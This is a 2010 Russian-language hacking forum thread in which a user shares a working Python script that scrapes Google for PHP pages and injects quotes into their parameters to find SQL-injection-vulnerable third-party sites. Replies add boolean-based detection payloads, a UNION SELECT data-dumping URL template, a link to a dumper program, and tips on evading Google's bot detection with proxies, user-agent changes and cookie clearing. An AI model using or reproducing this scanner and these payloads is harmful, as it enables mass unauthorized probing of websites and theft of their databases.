Проблема автоматического поиска SQLi

Discussion in 'Песочница' started by iv., 11 Jul 2010.

  1. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Очевидно, не я первый задумался о этом, но т.к. ничего особо подобного не нашел, то набросал скрипт на питоне, который парсит результаты гугла, находит ссылки php, вставляет во все параметры кавычки и смотрит произошла ли там ошибка. По умолчанию 10 потоков, 5 страниц, 100 результатов на страницу, показываются только положительные срабатывания. Пример использования (будет парсить выдачу по запросу "heck the world"):
    python autosqli.py heck the world​

    Code:
    # -*- coding: utf-8 -*-
    import sys, os, re, time, string, urllib2, cookielib, threading, Queue
    
    limit = 5
    thread_count = 10
    
    bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic']
    error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array', 
    	'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',]
    
    headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6',
    	'Accept' : 'text/html',
    	'Accept-Language' : 'en-us',
    	'Accept-Charset' : 'utf-8',
    	'Connection' : 'Close'}
    
    print "Auto SQLi Google Parser"
    if len(sys.argv) < 2:
    	print "Usage:\t'python autosqli.py <search request>"
    	exit(0)
    
    query = string.join(sys.argv[1:])
    print "[i] pages to parse: %d" % limit
    print "[i] threads: %d" % thread_count
    print "[i] query: %s" % query
    query = query.replace(' ', '+')
    
    google_jar = cookielib.CookieJar()
    google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(google_jar))
    google_opener.addheaders = zip(headers.keys(), headers.values())
    
    injQueue = Queue.Queue()
    injLock = threading.Lock()
    
    class parseUrl(threading.Thread):
    	def run(self):
    		while 1:
    			result = []
    			url = injQueue.get()
    			if url == 'stop': return
    			url = url.split('&')
    			for param_num in xrange(len(url)):
    				url[param_num] += "'"
    				injUrl = "&".join(url)
    				injReq = urllib2.Request("&".join(url), None, headers)
    				try:
    					injResp = urllib2.urlopen(injReq, timeout = 10)
    					injResp = injResp.read()
    				except urllib2.HTTPError, e:
    					injResp = e
    				except:
    					continue
    				if [1 for val in error_values if val in injResp]:
    					result.append('[+] '+ injUrl)
    
    				url[param_num] = url[param_num][:-1]
    			injLock.acquire()
    			if result: 	print '\n'.join(result)
    			injLock.release()
    			injQueue.task_done()
    
    for i in xrange(thread_count): parseUrl().start()
    
    for i in xrange(limit):
    	req = google_opener.open('http://www.google.com/search?q=%s+filetype:php&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100))
    	resp = req.read()
    	urlList = re.findall('<h3 class="r"><a href="(.+?)" class=l', resp)
    
    	if not urlList:
    		time.sleep(10)
    		continue
    
    	for url in urlList:
    		if '?' not in url or [1 for val in bypass if val in url]:
    			continue
    		injQueue.put(url.replace('&amp;', '&'))
    	time.sleep(10)
    
    injQueue.join()
    print '[i] done'
    for i in xrange(thread_count): injQueue.put('stop')
    
     
    #1 iv., 11 Jul 2010
    Last edited: 22 Jul 2010
    2 people like this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    можно добавить ошибки php функции.

    mysql_fetch_array, mysql_fetch_assoc, mysql_num_rows, mysql_fetch_row
     
    _________________________
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    iv. Кое что можно почерпнуть отсюда: https://forum.antichat.ru/thread20414.html

    Плюс надо ковырять самописные движки этим скриптом, а не популярные форумы/цмски, которые будут очень часто находиться парсером

    Без прокси такие подстановки кавычек делать - ой как не советую.

    Код - ужасный, это не питон, а попытка кодинга на С/дельфи, но с функциями из питона. Перепишите
     
    _________________________
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Вообще, не все инъекции выводят ошибку. Поэтому детектировать её можно таким способом:

    Code:
    function checkInjection(sURL)
    {
    String A = getURL(sURL);
    String B = getURL(sURL + "and+1=1%23");
    if(A == B)
     {
      B = getURL(sURL + "and+1=0%23");
      if(A != B)
       return 1;
     }
    return 0;
    }
    На ходу при отправке сообщения придумал функцию на С++ для проверки инъекции.
    Алгоритм прост, думаю, перепишешь на питон.
     
    #4 mailbrush, 11 Jul 2010
    Last edited: 11 Jul 2010
  5. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Ага, спасибо, добавил.
    Ну, кстати, всякие находятся..в запросе же не скажешь, чтобы он только самописные искал.
    Я думал сейчас у всех впн в моде, так что не стал поддержку проксей прикручивать..
    Да уж, былые времена программинга на сях и асме дают знать. :) Изучаю функции питона подробней, хотя, работает же!

    И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты?


    2mailbrush
    Ну, инъекции, которые не выводят ошибку - это уже совсем другая история.
    Сюда же тогда ещё можно добавить проверку арифметических операций и т.д.
     
    #5 iv., 11 Jul 2010
    Last edited: 11 Jul 2010
  6. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    прокси + замена юзер-агента.
     
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    очистка куков
     
    _________________________
  8. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Прокси это лишний гемор, так что рассматривать буду в последнюю очередь.
    Пробовал просто замену юзер агента, разумеется, не спасает.
    А ведь при ручном просмотре выдачи у гугла никогда не возникало подозрение, что я машина.
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    у меня видoвал, отправь много запросов(ну не знаю сколько) и открывается google sorry
     
    _________________________
    #9 Konqi, 11 Jul 2010
    Last edited: 11 Jul 2010
  10. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    iv. гугл любит печеньки, заголовки и смену юзерагентов
    Пропускать все страницы из популярных движков и форумов (типа вбуллетин, IPB, SMF, вордпресс) после первой загрузки
     
    _________________________
  11. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Переделал немного. Теперь за раз парсится 100 результатов, добавил строки для детекта ошибки и фильтрацию некоторых заведомо неудачных ссылок.
    Насчет хедеров не уверен, как есть сейчас - это норм?
     
  12. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    хорошо было бы записать результаты в txt файл

    http://www.sqlinj.ru/news.php?id=[inj]
    http://www.oracle.com/articles.php?id=[inj]

    :)
     
    _________________________
  13. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Я правда свою прогу так и не дописал(а она делает тоже самое), но могу дать пару советов как определять:
    1) ну естественно по вхождениям слов типа "SQL, mysql_fetch_row, mysql_fetch_row..."
    2) проверять на редирект
    3) проверять на контент(редирект) запросы site.com/index.php?id=1 and 1=1 и site.com/index.php?id=1 and 1=2
     
  14. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    порылся в закромах своего компа и нашёл дампер который я писал) с позволения ТСа запостю тут) дампер работает через group_concat и limit. Если кому понадобиться то могу дописать
    http://depositfiles.com/files/yya61twia

    ссылки для дампа идут вида: site.com/index.php?id=1 and 1=2 union select 1,2,[printfield] [from] limit [row],3
     
  15. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Меня лично вполне устраивает "python autosqli.py > log.txt", не хочется излишне усложнять скрипт.

    Увы и ах.
    $ file databaser.exe
    databaser.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
     
    #15 iv., 12 Jul 2010
    Last edited: 12 Jul 2010
  16. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    iv. как доделаешь , очень хотелось бы посмотреть на твой скрипт на пинтоне , надеюсь выложишь в паблик ;)
     
  17. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Следующий шаг сделан! Многопоточность, куки, удобная выдача результатов. Описание в первом посте. Особая благодарность Gifts за наставление на путь истинный. ;)